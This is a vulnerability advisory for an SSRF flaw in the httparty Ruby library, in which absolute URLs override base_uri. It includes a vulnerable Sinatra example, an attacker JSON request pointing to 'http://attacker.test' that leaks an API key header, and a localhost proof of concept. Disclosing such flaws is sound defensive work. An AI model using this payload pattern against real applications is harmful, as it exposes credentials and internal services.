httparty Has Potential SSRF Vulnerability That Leads to API Key Leakage

## Summary There may be an SSRF vulnerability in httparty. This issue can pose a risk of leaking API keys, and it can also allow third parties to issue requests to internal servers. ## Details When httparty receives a path argument that is an absolute URL, it ignores the `base_uri` field. As a result, if a malicious user can control the path value, the application may unintentionally communicate with a host that the programmer did not anticipate. Consider the following example of a web application: ```rb require 'sinatra' require 'httparty' class RepositoryClient include HTTParty base_uri 'http://exmaple.test/api/v1/repositories/' headers 'X-API-KEY' => '1234567890' end post '/issue' do request_body = JSON.parse(request.body.read) RepositoryClient.get(request_body['repository_id']).body # do something json message: 'OK' end ``` Now, suppose an attacker sends a request like this: ``` POST /issue HTTP/1.1 Host: localhost:10000 Content-Type: application/json { "repository_id": "http://attacker.test", "title": "test" } ``` In this case, httparty sends the `X-API-KEY` not to `http://example.test` but instead to `http://attacker.test`. A similar problem was reported and fixed in the HTTP client library axios in the past: <https://github.com/axios/axios/issues/6463> Also, Python's `urljoin` function has documented a warning about similar behavior: <https://docs.python.org/3.13/library/urllib.parse.html#urllib.parse.urljoin> ## PoC Follow these steps to reproduce the issue: 1. Set up two simple HTTP servers. ```bash mkdir /tmp/server1 /tmp/server2 echo "this is server1" > /tmp/server1/index.html echo "this is server2" > /tmp/server2/index.html python -m http.server -d /tmp/server1 10001 & python -m http.server -d /tmp/server2 10002 & ``` 2. Create a script (for example, `main.rb`): ```rb require 'httparty' class Client include HTTParty base_uri 'http://localhost:10001' end data = Client.get('http://localhost:10002').body puts data ``` 3. Run the script: ```bash $ ruby main.rb this is server2 ``` Although `base_uri` is set to `http://localhost:10001/`, httparty sends the request to `http://localhost:10002/`. ## Impact - Leakage of credentials: If an absolute URL is provided, any API keys or credentials configured in httparty may be exposed to unintended third-party hosts. - SSRF (Server-Side Request Forgery): Attackers can force the httparty-based program to send requests to other internal hosts within the network where the program is running. - Affected users: Any software that uses `base_uri` and does not properly validate the path parameter may be affected by this issue.

Quoted source text, attributed separately from HOL analysis.